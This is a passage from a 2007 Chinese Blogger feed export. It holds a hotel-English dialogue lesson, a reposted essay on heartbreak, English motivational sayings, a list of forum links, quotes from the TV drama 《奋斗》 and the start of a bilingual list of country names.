friends．&lt;br /&gt;A：Yes，we'll keep it for you．How many pieces of your luggage？&lt;br /&gt;B： Just three．I'll be back by 3∶00．&lt;br /&gt;A： That's fine． Have a nice day．&lt;br /&gt;B：Thank you．See you later．&lt;br /&gt;　&lt;br /&gt;Dialogue B&lt;br /&gt;（A：Receptionist B： Guest）&lt;br /&gt;B：I would like to know the approximate figure of my ac- count so that I can have my money exchanged at the bank．&lt;br /&gt;A：Up to the present，the total amount has been 880 yuan approximately．&lt;br /&gt;B：Excuse me． We're leaving today．I'd like to pay our bill snow．&lt;br /&gt;A：By the way， I'd like to tell you（that） the check-out times 12∶00 noon． May I know your name and room number，please？&lt;br /&gt;B：My name is Henry Green．Room 1123．&lt;br /&gt;A：Yes，Mr．Green．How about the charge for the days you shared the room with your friend？&lt;br /&gt;B：Please add to my account．&lt;br /&gt;A：Then we'll make out a bill for both of you．&lt;br /&gt;B：OK．&lt;br /&gt;A：Have you used any hotel services this morning or had breakfast at the hotel dining room，Mr．Green？&lt;br /&gt;B：Yes，my friend and I just had breakfast at the dining room，but we didn't use any services．&lt;br /&gt;A：Fine．I'll need to find out what the charge is on the breakfast．The total for the eight days is eight hundred sixty yuan and eighty fen．&lt;br /&gt;B：Oh，I didn't change enough money just now．Can I pay in American dollars？&lt;br /&gt;A：No，sir．You can pay in Foreign Exchange Certificate only．But you can get your money changed at the Foreign Exchange Counter of our hotel over there．&lt;br /&gt;B：Thank you．…Here you are．&lt;br /&gt;A：Thank you．Mr．Green．Here's your receipt．&lt;br /&gt;　&lt;br /&gt;Words and Expressions　&lt;br /&gt;approximate    a．近似的，大约的&lt;br /&gt;figure &amp;nbsp;  n．数字 &lt;br /&gt;exchange    v．交换、兑换、交易&lt;br /&gt;Foreign Exchange Certificate 外币兑换券&lt;br /&gt;receipt    n．收据&lt;br /&gt;luggage    n．行李、包裹&lt;br /&gt;&lt;br /&gt;恭喜大家，到目前为止，有关酒店英语的所有场景对话内容全部介绍完了。不知道各位的掌握情况怎么样呢？希望这一次的学习，能让大家真正的了解和体会到什么叫做情景口语学习，什么叫做以情景为中心的口语学习法。通过这样一次亲身的体验，是不是感觉到按照这种方式去学习，最快速，最有效，最直接的解决了你口语实际操作中的问题呢？在接下来的时间里，我会隆重的引出另外一个主题的情景学习，来帮助大家巩固和强化这一思维模式和学习方法。在下一期的材料中，我们将帮助大家解决一个你在未来工作中所遇到的更为实际的需求问题，那就是有关求职与面试的英语大突破！尽请期待！&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-5398061000364961288?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/5398061000364961288/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=5398061000364961288' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/5398061000364961288'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/5398061000364961288'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/11/hotel-english.html' title='Hotel English'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-7059549679208801177</id><published>2007-11-28T15:09:00.000+08:00</published><updated>2007-11-28T15:10:23.228+08:00</updated><title type='text'>【ZT】大卫的字</title><content type='html'>文/大卫&lt;br /&gt;心,有时是世上最软的,但有时,也是最硬的..&lt;br /&gt;一朋友打电话给我,其时,我正在忙着在厨房大搞卫生,忙的不亦乐乎.生活的重新开始,让我充满了欢快的能量&lt;br /&gt;&lt;br /&gt;朋友失恋了,电话里只听到他深沉得有点暗哑的声音,叙述到后来,几乎是哽咽的,可以想象到电话那头的他此时是多么的黯然与心痛:他打电话给刚刚分开不久的女朋友,是一个男的接,此时,已是深夜十一点多&lt;br /&gt;&lt;br /&gt;持续了不到三个月的恋情,以一种莫名其妙的方式结束了,女孩子在短短认识了男孩子一个多月,就把男孩子带回了老家见父母,如果说这是一段速成的恋情,那么它消散的速度也是如此的突然,过完年,女方家人觉得男孩子做人不够大方得体,回到深圳,从前的心领神会已经换成了避而不见,再后来,无论男孩子用尽了怎样的方法去感动她,始终都换来一个见面解释的机会,终于,发生了开头的一切&lt;br /&gt;&lt;br /&gt;男孩子对这段感情的投入程度,是如此之深,我相信一个男人的眼泪不会轻易付出,如果他是一个真正的男人的话!所流的眼泪,必定是为他最爱的人,也许这种眼泪一辈子只可能流 一次 ,流完之后,就会变得真正的坚强, 一个经常为爱情流眼泪的男人不是个真正的男人,在这种男人心里,眼泪只是他软弱无能的附属品&lt;br /&gt;&lt;br /&gt;我相信这个男孩子下次再碰到这种感情,这种爱情挫折,不会再流下这种最真挚最伤心的眼泪,有的,只是默默的咬咬牙,把伤心和苦痛藏在心里,不再对人言&lt;br /&gt;&lt;br /&gt;女孩子的决裂是那么的无情,根本不象印象中的一个娴静的女孩,此时的女孩,心如磐石,坚硬如铁!&lt;br /&gt;&lt;br /&gt;在热恋的时候,他们的心是那么的柔软,现实轻轻的一碰,化为乌有!&lt;br /&gt;&lt;br /&gt;从此男孩的心也如钢铁!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-7059549679208801177?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/7059549679208801177/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=7059549679208801177' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/7059549679208801177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/7059549679208801177'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/11/zt.html' title='【ZT】大卫的字'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-899979637373321995</id><published>2007-11-28T14:37:00.002+08:00</published><updated>2007-11-28T15:08:24.588+08:00</updated><title type='text'>Encourage Sentences Collections</title><content type='html'>1、This World is going very fast if you want to touch the foot of success you also have to go very fast otherwise you will never be able to touch the foot of success.&lt;br /&gt;&lt;br /&gt;2、Life ends when you stop dreaming, hope ends when you stop believing and love ends when you stop caring. So dream hope and love...Makes Life Beautiful。&lt;br /&gt;&lt;br /&gt;3、Life is a book, we all read it. &lt;br /&gt;Love is a blessimg, we all need it. &lt;br /&gt;Always be happy, walk with a smile. &lt;br /&gt;Rember in this world we are just for a while.&lt;br /&gt;&lt;br /&gt;4、Never think of the past,it brings tears;Never think of future,it brings fears.So live life in the present and always happy.&lt;br /&gt;&lt;br /&gt;5、Success is like your own shadow...if u try to catch it u will never succeed..ignore it and walk in ur own way.It will follow u!&lt;br /&gt;&lt;br /&gt;6、Regretting over yesterday and fear of tomorrow are the two thieves which steal our present.Live for today, Life will be beautiful!&lt;br /&gt;&lt;br /&gt;7、Lucky means who gets the opporunity. &lt;br /&gt;Brilliant means who creates the opporunity. &lt;br /&gt;Winner means who uses the opporunity.&lt;br /&gt;Have a winning attitude.&lt;br /&gt;&lt;br /&gt;8、A famous saying.... &lt;br /&gt;One can cross an ocean without wetting his legs but cannot cross his life without wetting his eyes.&lt;br /&gt;&lt;br /&gt;9、Somehow along the course of life, you learn about yourself and realize there should never be regrets, only a lifelong appreciation of the choices you've &lt;br /&gt;made. &lt;br /&gt;&lt;br /&gt;10、Have the determination of a mirror, which never loses its ability to reflect in spite of it being broken into pieces. keep shining.... always.:-)&lt;br /&gt;&lt;br /&gt;11、Always have positive attitude in life.There is something positive in every person n situation.Even a stopped clock is right twice!&lt;br /&gt;&lt;br /&gt;12、Dreams visit us when we are asleep - but commitment wakes us up each day and gives us every chance to make our DREAMS come true! &lt;br /&gt;&lt;br /&gt;13、It takes three seconds to say i love you, three minutes to explain, three hours to demonstrate, three days to appreciate three terms to produce it, but a lifetime to prove it.&lt;br /&gt;&lt;br /&gt;14、In Gods eyes, Love is never absent. In Gods heart forgiveness is never impossible. In Gods embrace, no one is ever alone or forgotten. God Bless!&lt;br /&gt;&lt;br /&gt;15、Love is like a butterfly. The more you chase it, the more it eludes you but if you just let it fly, it would come to you when you least expect it.&lt;br /&gt;&lt;br /&gt;16、Falling in love with the Lord is the greatest romance; searching HIM, is the greatest adventure; finding HIM, the greatest achievement,; and being with HIM, the greatest source of happiness.&lt;br /&gt;&lt;br /&gt;17、Each of us is a star. Sometimes we shine with the rest. Sometimes we twinkle alone. Sometimes when we least know it, we make someone's wish come true. GOD BLESS!&lt;br /&gt;&lt;br /&gt;18、The greatest test of courage on earth is to bear defeat without losing heart.&lt;br /&gt;&lt;br /&gt;19、Angels are there to guide and protect you in whatever you'll do. Tonight, they'll take you to a place where your dreams can come true.&lt;br /&gt;&lt;br /&gt;20、Close your eyes and go to sleep, for angels are there for you to keep. If there are worries, please don't weep. I'm at the other side, just give me a beep.&lt;br /&gt;&lt;br /&gt;21、Its not the possession of good things which bring happiness-it is the ability to enjoy what comes. Happiness is an aptitude.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-899979637373321995?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/899979637373321995/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=899979637373321995' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/899979637373321995'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/899979637373321995'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/11/encourage-sentences-collections.html' title='Encourage Sentences Collections'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-2133287885263630972</id><published>2007-11-28T14:37:00.001+08:00</published><updated>2007-11-28T14:37:18.425+08:00</updated><title type='text'>一些可能会去的BBS</title><content type='html'>http://www.ugacsu.org/bbs&lt;br /&gt;http://uchicagobbs.net/forum&lt;br /&gt;http://www.maplesky.net/bbs&lt;br /&gt;http://www.kathyontheweb.com&lt;br /&gt;http://www.trekbbs.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-2133287885263630972?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/2133287885263630972/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=2133287885263630972' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/2133287885263630972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/2133287885263630972'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/11/bbs.html' title='一些可能会去的BBS'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-5289126672941914711</id><published>2007-11-28T14:33:00.000+08:00</published><updated>2007-11-28T14:36:21.218+08:00</updated><title type='text'>《奋斗》台词集锦</title><content type='html'>莹石点评：虽然这部片子立意有问题，让一对狗男女最后走在一起，而一直对爱情矢志不移的米莱却下场凄惨。但剧中的部分对白和台词设计的确还是很出色。从华尔街回来的徐志森的思维方式的确与我们这些久居国内的人有层次差别。我敲了一部分台词出来，仅仅最后几集的。21集以前没有想到要收藏。&lt;br /&gt;&lt;br /&gt;22集&lt;br /&gt;米莱：陆涛，你这个浑蛋，这是你第一次为我哭。谢谢！&lt;br /&gt;&lt;br /&gt;华子：语言粗俗，跟周围环境可不协调&lt;br /&gt;露露：跟你协调啊&lt;br /&gt;&lt;br /&gt;挨着个小树林就说是城市的绿肺&lt;br /&gt;&lt;br /&gt;陆涛：我没想到你这两年是这么过来的&lt;br /&gt;米莱：是的，你把我坑惨了&lt;br /&gt;陆涛：那我能为你做点什么&lt;br /&gt;米莱：买冰激淋，全世界只有你最爱吃的那种冰激淋口味&lt;br /&gt;陆涛：还有你自己&lt;br /&gt;米莱：我已经忘了，我连冰激淋是什么味我都忘了，我再也没吃过冰激淋&lt;br /&gt;陆涛：香草和咖啡&lt;br /&gt;米莱：我是香草，他是咖啡&lt;br /&gt;陆涛：香草和咖啡一样两份&lt;br /&gt;服务员：先生您要什么&lt;br /&gt;陆涛：我说咖啡和香草 我说各要两份，我说我要两份咖啡&lt;br /&gt;米莱：我要两份香草&lt;br /&gt;&lt;br /&gt;米莱：不是这样的，米莱哭了&lt;br /&gt;陆涛：把他们放在一个盒里，把他搅起来&lt;br /&gt;对不起，麻烦你把两个放在一起，然后给它搅匀了&lt;br /&gt;米莱：不是这样的，米莱哭了&lt;br /&gt;陆涛：怎么啦&lt;br /&gt;米莱：那勺&lt;br /&gt;陆涛拿出一个勺给服务员：这不要了&lt;br /&gt;另一个女主角：我就要个他们那样的&lt;br /&gt;&lt;br /&gt;米莱：这是我的座位，夏琳不在的时候，我就坐这，现在送我回家，以前你经常不送我&lt;br /&gt;&lt;br /&gt;米莱：以前你总坑富家女，你和向南华子一块，用尽各种方法骗我为你么付账结果我养成了一个坏习惯，就是愿意为你们刷卡&lt;br /&gt;&lt;br /&gt;徐志森：有的时候，你一开始抓了一手好牌，你就不断的往上加码，这赌注越押越大，等到有一天你再翻开它的时候，它够好吗？新能源，绿色环保，人性化。谁关心它？没有人。人们只关心他买的那块地，买的那个房子，它会不会升值而已，就这么简单。&lt;br /&gt;&lt;br /&gt;向南：你说你和露露都耗这么长时间了，都快把人耗成妇女了。依我看，这事就这么定了吧？你么俩挺合适的，别等了。&lt;br /&gt;华子：这事也不能我主动，露露她主意挺多的&lt;br /&gt;陆涛：她的都是小主意，你要坚决一点嘛&lt;br /&gt;华子：怎么坚决？&lt;br /&gt;陆涛：求婚&lt;br /&gt;米莱：对，女人最喜欢的就是正式求婚了，我到现在都还没碰到过这种情况&lt;br /&gt;向南：米莱，够怨的啊，看来某些人把你耽误的够呛啊&lt;br /&gt;米莱：是啊，少女变大嫂，早恋变单身了，文秘变老总，一失足成千古恨&lt;br /&gt;华子：恨谁呀？&lt;br /&gt;米莱：还我青春&lt;br /&gt;华子：欠债还钱啊，欠青春还青春&lt;br /&gt;陆涛：哥们也有那青春，谁还哥们呀&lt;br /&gt;米莱：还你什么也不能还你青春，还了你还拿出来欺负人&lt;br /&gt;华子：说说 说说 我爱听这其中缘由&lt;br /&gt;米莱：他，一副老实单纯的样子，骗得人家一愣一愣的，浑蛋一个&lt;br /&gt;向南：浑蛋归浑蛋，人家米莱的青春得还给人家&lt;br /&gt;陆涛：还你我还不放心呢，结果还不是再次上当受骗？&lt;br /&gt;米莱：反正不再上你的当了&lt;br /&gt;陆涛：那还不是一样吗？&lt;br /&gt;米莱：不一样&lt;br /&gt;灵珊：她们到底在说什么&lt;br /&gt;向南：他们俩原来是初恋情人&lt;br /&gt;灵珊：真的假的？&lt;br /&gt;&lt;br /&gt;华子：杨晓芸的优点？&lt;br /&gt;向南：白，通体白雪&lt;br /&gt;华子：得，谁掉面粉里都那样&lt;br /&gt;&lt;br /&gt;灵珊：我知道陆涛哥的创意&lt;br /&gt;米莱：太贵了，这不是贵，这是昂贵，我怀疑他这是给神仙造房子&lt;br /&gt;&lt;br /&gt;华子：你屋有绿帽子吗？让哥们戴会&lt;br /&gt;向南：露露不至于&lt;br /&gt;华子：太没劲了&lt;br /&gt;向南：你说她能搭上谁啊？&lt;br /&gt;华子：爱谁谁，向南，不是哥们吹牛。她这样的，就是一卡车一卡车往上冲，我都不带看一眼的。可怜之人必有可恨之处，我看她过了我这村，她还有哪家店投宿去？你说现在网上小姑娘一把一把的，她一中年妇女，就是大甩卖也换不来市场占有率呀。向南，你说吉普车不省油吧？她一纸糊的破灯笼她跟那儿起什么混？是假装浪费是怎么着？有毛病吧？&lt;br /&gt;向南：别激动，别激动行不行？&lt;br /&gt;华子：我有什么好激动的？我高兴还来不及呢。我车没油了，把你车借我使使。现在有一女孩子跟我磨蹭小半年了，我还撑着呢。今儿我非把这层窗户纸捅破了不成。&lt;br /&gt;&lt;br /&gt;杨晓芸：就没见过这么差劲的人，今天说好了和我去离婚，居然在这种事情上放我鸽子，打了电话也不见人接&lt;br /&gt;陆涛：我很焦虑，非常焦虑&lt;br /&gt;杨晓芸：米莱，有我这心比还凉的冷饮吗？&lt;br /&gt;米莱：有，我们这有最寒冷的&lt;br /&gt;杨晓芸：太丑恶了，太丑恶了，这真的是太丑恶了&lt;br /&gt;陆涛：说开发商的吗？开发商是不是东西&lt;br /&gt;杨晓芸：陆涛你别打岔&lt;br /&gt;向南：杨晓芸你听我解释行不行&lt;br /&gt;杨晓芸：小胳膊够白的啊，跟鲜藕似的，你怎么不拉着胳膊把人给揪出来啊？&lt;br /&gt;米莱：怎么啦晓芸？看到什么啦？&lt;br /&gt;杨晓芸：我看到这个浑蛋给人家递浴巾&lt;br /&gt;陆涛：太不堪入目啦，向南，你给人家递几次啦？给杨晓芸递得不算啊。&lt;br /&gt;米莱：陆涛，有你这样的吗？还煽风点火的？&lt;br /&gt;向南：君子坦荡荡，完全是个误会。一会你等人家灵珊出来，什么都明白了&lt;br /&gt;杨晓芸：我现在就明白了，什么心碎乌托邦啊，完全就是一臭流氓的老黑窝。有你这么心碎的吗？&lt;br /&gt;陆涛：杨晓芸，要不然你也搬过就知道我们怎么心碎的。&lt;br /&gt;杨晓芸：滚&lt;br /&gt;米莱：冷静&lt;br /&gt;杨晓芸：我很冷静，非常冷静，特别冷静。向南，必须离婚，非离不可。这事必须马上办，我一分钟都等不了。我回去等你电话。&lt;br /&gt;&lt;br /&gt;今天的事都怪我&lt;br /&gt;今天的事和你半毛钱关系都没有&lt;br /&gt;&lt;br /&gt;杨晓芸：呦，这离婚证是比结婚证难看，这结婚证我能保留着吗？&lt;br /&gt;办公人员：当然可以，但是已经失效了。&lt;br /&gt;杨晓芸：从今天起你就是路人甲我就是路人乙，形同陌路，井水不犯河水。&lt;br /&gt;&lt;br /&gt;米莱：我可软了，这么摔都没骨折，换谁都不成&lt;br /&gt;陆涛：我知道，你骨头软，头发软，身体软，心也软，却装出一副很硬的样子&lt;br /&gt;米莱：你今天来就是要跟我说这个的吗？&lt;br /&gt;陆涛：我有更重要的话要说。&lt;br /&gt;陆涛：到现在我才知道，你是失恋了。而且一直没有恢复过来，我没有想到你的失恋会持续这么长时间，太漫长了，都几年了？没想到你这么能装。你喜欢这失恋的感受？好吧，这是一个必须要解决的问题，从健康的角度讲，这是种病。&lt;br /&gt;陆涛：有三种解决办法：第一，去看心理医生，用催眠疗法，恢复你对自己的信心；第二，旅行，最好是出国；第三，移情别恋。&lt;br /&gt;米莱：只要你帮我，我什么方式都愿意试。其实，后两种我都试过，全失败了，移情也移不出去，我就是想你，天天想你，老是想你。&lt;br /&gt;&lt;br /&gt;米莱：谁也不知道你心眼有多好？&lt;br /&gt;陆涛：那是因为谁也不知道我有多坏？&lt;br /&gt;&lt;br /&gt;灵珊：人家说男人离不开女人，就像鱼离不开水一样&lt;br /&gt;陆涛：可是人家没有说，离不开那一滴水哦&lt;br /&gt;&lt;br /&gt;徐志森：我年轻的时候喜欢刺激的运动，去美国第一年我就参加一个射击俱乐部。刚开始我选了一把大的手枪，开始练习了，这第一枪啊，耳朵嗡嗡的响，连手都麻了，后来我发现怎么的？是因为我没有带耳机。后来我发现这些俱乐部里面的人，他们似乎都有一种愤怒，而这种愤怒呢，需要在不停的射击中去发泄。他们为什么有这种愤怒啊？我观察的结果，是因为他们被拒绝而愤怒。据我所知，在美国参加这种俱乐部的人，都是来自中下阶层的人，那个阶层的生活还缺乏回旋的余地，就好像在那个窄巷当中行走，不是进，就是退，你甚至无法转身。后来，我去了华尔街，在华尔街成功人士多了，各有特点。可是我的注意力没有摆在那些成功人士身上，我把他摆在少数几个失败者的身上。我就发现，这些失败者，尽管他们来自各个不同的阶层，但是他们共同沿用了一个特点，那就是小巷思维。不是进就是退，要么就生意成功，要么我就放弃。没办法啊，由于在这个小巷当中，他不是进就是退，所以很容易造成一种压力。这压力一多，就容易造成失控，一失控就离失败就不远了。后来我就想，这到底是什么把人推到这个小巷当中？答案是人们自己，人们总是想着用最快最好最省力的方法来到达这个目的，于是就不知不觉走到了小巷当中。&lt;br /&gt;&lt;br /&gt;我想让你停下来看一看，你是在小巷当中，还是在一片平原之上。&lt;br /&gt;&lt;br /&gt;任何时候都是有退路的，人们之所以走入死胡同，是因为他们没有看到还有别的出路。&lt;br /&gt;&lt;br /&gt;我一辈子努力奋斗，就是为了避免对别人说这句话。我不说，也不许你对别人说。&lt;br /&gt;&lt;br /&gt;陆涛：为什么我总是错呢？&lt;br /&gt;徐志森：也是你是自我矛盾，也是你是太封闭了去妨碍你去了解这个成人世界的游戏规则。也许你根本没有错，是他们 错了。&lt;br /&gt;&lt;br /&gt;米莱：你们问我，我快乐吗？我告诉你么，我一点也不快乐；你们问我对未来有信心吗？我告诉你们，我连信心是什么东西我都不知道；你么问我为什么喝这么多酒，我告诉你们，我很矛盾，我很不开心。有一件事我一直弄不明白，那就是为什么生来我什么都有却得不到自己最想要的。我尝试去美国尝试干事业，我努力投入积极的生活，我不想放弃希望，去为那些最重要的事情而奋斗。但最后，一切都失败了。你们没听懂，是因为你们不知道什么是最重要的，我告诉你们，是感情。&lt;br /&gt;&lt;br /&gt;《左边》&lt;br /&gt;&lt;br /&gt;米莱：这是最后一次一起吃。&lt;br /&gt;陆涛：为什么这么说&lt;br /&gt;米莱：我在下决心，我是在下决心，我每吃一根薯条时我都在想，吃完这根我就推开车门，离开你。你看，最后一根薯条也吃完了。&lt;br /&gt;陆涛：我们去最后一个地方，你的母校门口。左转就到了。&lt;br /&gt;米莱：右转，我不去了，我要回家。&lt;br /&gt;陆涛：我一直在帮你走出失恋的阴影。&lt;br /&gt;米莱：你已经做了你所能做的一切，没有人能像你对我这么好。&lt;br /&gt;陆涛：没有人能像你对我这么好，这句话应该我对你说才对。&lt;br /&gt;米莱：我们做了所有能做的事情，没有遗憾，我会记住和你在一起的日子，所有的一切都是真的，它有过很多美好。再见。陆涛，能和你在一起我很高兴，你去找夏琳结婚吧，相信我，我一定能缓过来的。&lt;br /&gt;陆涛：我相信你&lt;br /&gt;&lt;br /&gt;责任不是你应该做的事情，而是你必须要做的事情。&lt;br /&gt;&lt;br /&gt;瑶瑶：以后我们还是好朋友，双人帐篷归你，双人睡袋归我。我知道你是个很浪漫的人，从一开始我就发誓，这一生一共给你三次出轨的机会，这是第一次，你已经使了。&lt;br /&gt;知道什么叫大方？你不知道；知道什么叫正式范吗？你不知道；知道什么叫对你好吗？你也不知道。也许你知道了你就长大了，也许你知道了我就不喜欢你了。&lt;br /&gt;向南：你对我好，你比我对你好。&lt;br /&gt;瑶瑶：这哨是全世界最浪漫的礼物。&lt;br /&gt;向南：那你那天为什么不吹它？&lt;br /&gt;瑶瑶：因为我比杨晓芸对你好。&lt;br /&gt;&lt;br /&gt;米莱父亲：活了大半辈子我算是明白了，什么事都不重要，就一件事最重要。一家人永远在一起。&lt;br /&gt;&lt;br /&gt;我们去哪？&lt;br /&gt;管他去哪&lt;br /&gt;那些都不重要，重要的是我想和你在一起。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-5289126672941914711?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/5289126672941914711/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=5289126672941914711' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/5289126672941914711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/5289126672941914711'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/11/blog-post_28.html' title='《奋斗》台词集锦'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-2516096447363562083</id><published>2007-11-28T14:30:00.001+08:00</published><updated>2007-11-28T14:30:49.743+08:00</updated><title type='text'>国家名称</title><content type='html'>1.  Afghanistan   [AFG; AF]&lt;br /&gt;        the Islamic State of Afghanistan  阿富汗伊斯兰国&lt;br /&gt;  2.  Albania   [ALB; AL]&lt;br /&gt;        the Republic of Albania    阿尔巴尼亚共和国&lt;br /&gt;  3.  Algeria   [DZA; DZ]&lt;br /&gt;        the People's Democratic Republic  阿尔及利亚人民民主共和国&lt;br /&gt;            of Algeria&lt;br /&gt;  4.  Andorra   [AND; AD]&lt;br /&gt;        the Principality of Andorra   安道尔公国&lt;br /&gt;  5.  Angola  [AGO; AO]&lt;br /&gt;        the Republic of Angola    安哥拉共和国&lt;br /&gt;  6.  Antigua and Barbuda   [ATG; AG]  安提瓜和巴布达&lt;br /&gt;  7.  Argentina   [ARG; AR]&lt;br /&gt;        the Argentine Republic    阿根廷共和国&lt;br /&gt;  8.  Armenia   [ARM; AM]&lt;br /&gt;        the Republic of Armenia    亚美尼亚共和国&lt;br /&gt;  9.  Australia   [AUS; AU]    澳大利亚&lt;br /&gt; 10.  Austria   [AUT; AT]&lt;br /&gt;        the Republic of Austria    奥地利共和国&lt;br /&gt; 11.  Azerbaijan   [AZE; AZ]&lt;br /&gt;        the Azerbaijan Republic    阿塞拜疆共和国&lt;br /&gt; 12.  Bahamas (the)   [BHS; BS]&lt;br /&gt;        the Commonwealth of the Bahamas        巴哈马联邦&lt;br /&gt; 13.  Bahrain   [BHR; BH]&lt;br /&gt;        the State of Bahrain     巴林国&lt;br /&gt; 14.  Bangladesh   [BGD; BI]&lt;br /&gt;        the People's Republic of    孟加拉人民共和国&lt;br /&gt;            Bangladesh&lt;br /&gt; 15.  Barbados   [BRB; BB]    巴巴多斯&lt;br /&gt; 16.  Belarus   [BLR; BY]&lt;br /&gt;        the Republic of Belarus    白俄罗斯共和国&lt;br /&gt; 17.  Belgium   [BEL; BE]&lt;br /&gt;        the Kingdom of Belgium    比利时王国&lt;br /&gt; 18.  Belize   [BLZ; BZ]     伯利兹&lt;br /&gt; 19.  Benin   [BEN; BJ]&lt;br /&gt;        the Republic of Benin    贝宁共和国&lt;br /&gt; 20.  Bhutan   [BTN; BT]&lt;br /&gt;        the Kingdom of Bhutan    不丹王国&lt;br /&gt; 21.  Bolivia   [BOL; BO]&lt;br /&gt;        the Republic of Bolivia    玻利维亚共和国&lt;br /&gt; 22.  Bosnia and Herzegovina   [BIH; BA]      波斯尼亚—黑塞哥维那&lt;br /&gt; 23.  Botswana   [BWA; BW]&lt;br /&gt;        the Republic of Botswana   博茨瓦纳共和国&lt;br /&gt; 24.  Brazil   [BRA; BR]&lt;br /&gt;        the Federative Republic of   巴西联邦共和国&lt;br /&gt;            Brazil&lt;br /&gt; 25.  Brunei Darussalam [BRN; BN]   文莱达鲁萨兰国&lt;br /&gt; 26.  Bulgaria   [BGR; BG]&lt;br /&gt;        the Republic of Bulgaria    保加利亚共和国&lt;br /&gt; 27.  Burkina Faso   [BFA; BF]    布基纳法索&lt;br /&gt; 28.  Burundi   [BDI; BD]&lt;br /&gt;        the Republic of Burundi    布隆迪共和国&lt;br /&gt; 29.  Cambodia   [KHM; KH]&lt;br /&gt;        the Kingdom of Cambodia   柬埔寨王国&lt;br /&gt; 30.  Cameroon   [CMR; CM]&lt;br /&gt;        the Republic of Cameroon   喀麦隆共和国&lt;br /&gt; 31.  Canada   [CAN; CA]     加拿大&lt;br /&gt; 32.  Cape Verde   [CPV; CV]&lt;br /&gt;        the Republic of Cape Verde   佛得角共和国&lt;br /&gt; 33.  Central African Republic (the)   中非共和国&lt;br /&gt;        [CAF; CF]&lt;br /&gt; 34.  Chad   [TCD; TD]&lt;br /&gt;        the Republic of Chad    乍得共和国&lt;br /&gt; 35.  Chile   [CHL; CL]&lt;br /&gt;        the Republic of Chile    智利共和国&lt;br /&gt; 